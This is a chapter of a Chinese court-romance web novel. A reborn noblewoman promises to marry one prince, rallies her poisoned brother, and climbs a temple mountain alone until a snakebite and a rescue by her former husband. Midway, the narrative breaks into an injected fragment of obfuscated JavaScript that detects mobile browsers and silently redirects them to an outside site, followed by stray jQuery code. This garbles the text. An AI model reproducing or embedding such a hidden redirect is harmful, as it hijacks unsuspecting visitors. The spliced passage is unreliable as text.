裴昱心里头七上八下，将自个儿与裴焉比之又比——


    论才识，他先后从师翰林院学士、前任丞相，而三哥长于北地，此项他胜。


    论武功，他自不如镇北大将军，此项他败。


    论家世，彼此同为皇子，皆是嫡出，只三哥占了“长”，略胜他一筹。


    至于外家，卢氏如日中天，崔氏已大不如从前……


    细数起来，他与兄长二人的胜算不过五五开——


    正是沮丧之时，忽听一阵轻盈的脚步声由远及近。裴昱下意识望去，果见那一张缭绕于他心间的美人面。


    他观之其面容平静，唇角微微上扬，并没有昨日的怒气。


    裴昱不自觉的欣喜，忙迎上去：“房娘子，你来了。”


    房幽感恩他带来的郎中，道：“多谢殿下挂心，又带来的二位郎中，房府感激不尽。”


    裴昱笑了下：“哪里的话，本就是我该做的。”


    话一出口，他的耳根又有些发红。这话听着，倒像是他把房氏当自家人了。


    他见房幽面上亦有些不自然，便提起昨日之事：“我知娘子发气是因着我兄弟二人荒唐行事，我往后定不会如此，还望娘子谅解。”


    房幽见他如此，心中更不自在。她发脾气在先，他却上门道歉……自个儿真是有些欺人太甚。


    她道：“我是太焦急阿兄所致，迁怒了殿下，还望殿下见谅。”


    裴昱忙摇头：“不妨事。”


    二人静默半晌，房幽忽地被这气氛逗得笑出来。


    她向来是遇强则弱，遇上裴昱这么个事事由着她的人，难能憋住。


    裴昱见她正弯眼看向自个儿，心中满满的欢欣，一时脑袋发热：“娘子说愿意嫁给我，可还当真？”


    房幽也没料到他竟还愿意娶她。论起来，她又是发脾气，又与他兄长有些说法，他再提婚嫁之事，她只觉受宠若惊。


    她心中百转千回，只问：“殿下还愿意娶我？”


    裴昱瞳孔微张，急道：“怎么不愿！能娶到娘子，是我之幸！”


    房幽心中那点儿虚荣心被他的说辞膨胀开来——前世是她强求强嫁裴焉，今生来了个人对自个儿予取予求，除却得意，她还有些感动。


    念及裴焉的承诺与阿兄的身体，房幽并未径直答应，道：“燕王那里……”


    裴昱道：“娘子且放心，父皇对我二人皆未赐婚，此事便由我来处理。我只想确认，娘子是否还愿意嫁我？”


    房幽捏了下手心——早就想好的，她要当皇后，她要护着房氏。


    她侧身避开裴昱的礼，道：“只要殿下认定了，那我必不负你心意。”


    她不敢说得太绝对……裴焉那厮的脾气，她不敢惹。


    裴昱听得此话，如得了定心丸。


    他点头：“好，有娘子这句话，我便放心了。”


    他绽开笑容，房幽见此，略去心底不安，亦是扯了扯唇。


    裴焉为阿兄找到救命良药，那是他许诺的。退一万步来说，他前世未尽的责任，今生尽了，那也是应当。


    前世十年，她过得不畅，今生即便利用他一番，又算得了什么呢？


    房幽这般安慰自个儿，终是过了心底那关。


    *


    是日。


    房渊经了数位御医、郎中诊治，身子骨略有好转，不再吐血。只是内里有大患，仍旧卧床休息，醒不了多久。


    他见妹妹面带愁容，劝道：“你见着阿兄总这副表情，我便是没事，也要被你吓出事来。”


    房幽叹道：“阿兄又岂知我心中忧虑，我没了你和阿耶，便是一孤家寡人，怎么在世上过活。”


    房渊闻言，正色道：“你这样说，是把阿兄放火上烤。无论阿兄在不在，你都要好好活着。”


    他心底亦十分害怕。


    二十几的年纪，便从小妹这里得知命不久矣。虽则他此生投胎不错，至房氏享荣华富贵，但到底嫌太短，尤其放心不下这个娇生惯养的小妹。


    他嗫嚅着唇，雄壮的一个汉子，喉间竟有些哽咽：“阿兄只怕，你被人欺负。”


    房幽握住他的手，也红了眼睛：“我就是被人欺负了，因为阿兄出事，燕王、雍王都找上门来逼嫁。若阿兄放弃自个儿，我这一生只怕也不得善终。”


    御医言此毒霸道，会逐步吞噬人的意志。若是中毒之人越消沉，越无所牵挂，则毒入肺腑越快，无力回天。反之，这毒便要不了性命。


    房幽故意夸大，便是为了激他，叫他莫要放弃。


    房渊果然气恼，连连咳嗽几声，道：“什么鼠辈！甭管他燕王、雍王，你不想嫁，都有阿兄护着！”


    房幽趁热打铁，又装了一通被强权逼迫的小白花，与房渊骂了许久皇家，见他面带倦色才止住。


    她给熟睡的兄长掖了掖被角，方出了门。


    湘莲候在外头，见她出来，连忙禀报查到的消息：“行一大师几日前归京，目下正于皇觉寺天柱塔伤上修养。听闻寻他之贵客不计其数，他放出消息来，所求者须得亲自徒步登山，方可见面。”


    房幽拳头捏紧。


    天柱塔共有台阶九千级，有“登山千里，扶摇直上”的用意。能进出皇觉寺之人，非富即贵，即便有所求，又怎会亲自登那九千级台阶。


    行一大师这是在闭门谢客。


    以她的身子骨，爬上去，大抵半条命也没了。


    房幽抿唇，问：“可打听到燕王近来在做何？”


    湘莲道：“听闻燕王殿下被派去京北皇陵监军，仿似还未回京。”


    自那日她与湘元被燕王支使，她二人便觉察出女郎与其关系不简单。为防女郎要用，她便时刻注意那头的动静，比对雍王府还要上心。


    前些日子已莫名为女郎冷待，为了自个儿，也为了家人，她接下来一定要做好分内之事。


    房幽叹一口气：这消息本就是裴焉给的，她总不能事事都指望他。


    她道：“给我准备行囊，明日我要登山。”


    湘莲微微张嘴，好半晌才反应过来点头。


    *


    次日清晨，骨碌的车轮声压过无人大街，径直往京郊寺庙而去。


    房幽穿着一身轻便衣装，为防碍事，衣摆裙角皆已束起，长发也编成长辫。


    她正在细看皇觉寺地图。


    进了寺门，拜过大殿上的菩萨，便要从后山小院往天柱塔而去，车夫、侍卫、婢女皆要止步。


    也就是说，房幽须得独自一人上山。


    湘元不放心：“女郎，不如还是跟主君商量一番……”


    房幽瞪她一眼：“作甚多事！你是觉得，我阿耶的身子骨比我强些，想让他去走这九千级台阶？”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556226|170986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >房鹤明大器晚成，两个孩子出生的年纪也晚，如今已到了知天命的年纪。


    他平日里官场应酬多，又是文官，走两步路便喘的人，指望他爬山，不如指望他把行一大师请到家里来。


    湘元缩了缩脑袋：“那要不，还是让我跟着吧。”


    湘莲也道：“奴婢可扮做别家娘子，为女郎背行囊，也照看一番。”


    房幽瞪一眼她们俩：“莫要瞎出主意，若是让行一大师觉得我心不诚，岂非前功尽弃。”


    她要求行一大师救阿兄，即便废掉半条命，她也乐意。


    两个婢女看着女郎背起水囊，毅然决然地顺着小径走入幽静山中。


    二人面露担忧，只望女郎此行顺利。


    房幽顺着石阶一步步稳稳往前——她面容坚毅，只盯着脚下之路，口中念念有词：“千里之行，始于足下……不积跬步，无以至千里……”（1）


    只有这般边给自个儿打气边爬，她才感觉不到累。


    且那九千级台阶实在可怖，光听在耳朵里便觉两眼发蒙，她更是不敢抬头看还剩多少了。


    若论好处，自然也有。如今是五月，爬山不那样炎热，且山中清凉，她未曾汗如雨下。


    这般一鼓作气走了半个时辰，房幽歪在石头做的栏杆上，重重舒出一口。


    天可怜见，她此生即便面对那水贼，也未曾有这般拼命的时候。


    眼下太阳已然升起，高高悬挂在天边，透过树梢的缝隙映照在她脸上，刺得人眼睛发酸。


    房幽额边鬓角被汗渍浸湿，她甩甩脑袋，灌了一口水，深吸了下继续往前。


    再往前几百级，栏杆骤然消失，只余歪歪扭扭的石板路。


    路愈发难走。越往前，枝叶越茂盛，房幽的脸被带刺的枝叶划出小血痕，她吃痛一声，心中升起放弃的念头。


    她何必如此着急，即便等着裴焉想法子又能如何，左不过不差那几日……


    可心中一想到阿兄忍痛的模样，加之裴焉以此作筹码威胁，她便凭生一股士气：她是上京骑术、箭术最好的女郎，自然也能登上这九千台阶！


    她不需要靠旁人！尤其是她那霸道专制的前夫！


    房幽狠憋着心中一股气，到最后手脚并用，在陡峭的山路上前行。


    但上天没那样眷顾她，踩到一处湿软的泥土，瞬时脚滑，一个不稳往后滑退了几丈。


    房幽吓得心都快要跳出来，又急又怕。


    她想要抓稳地上藤蔓，未料却是眼花，握在手中的乃是一条树枝粗的大蛇！


    房幽“哇”的一声，只觉虎口处一阵刺痛。


    她知晓自个儿被咬了，吓得三魂不见七魄，眼泪夺眶而出。


    本就是惊慌之际，又没了支撑，房幽顺着泥泞山路一路往下滑，肌肤遭尖刺树枝勾得破皮出血，疼得她连声尖叫。


    地上枯枝变多，她好容易停了下来，恰逢入耳一阵窸窸窣窣的声响，听着极像是那被她甩开的大蛇又爬了回来——


    房幽再撑不住，呜呜地哭出声，嘴中仍念念有词地骂着裴焉：


    “裴焉……你死哪儿去了……！”


    忽地，那窸窣声响已近到眼前，她紧闭着双眼，心中想：这回是真要落入大蛇之口了。


    岂料忽地被一臂膀搂入怀中，头顶响起那人无奈的低声：“没死呢，这不是来了。”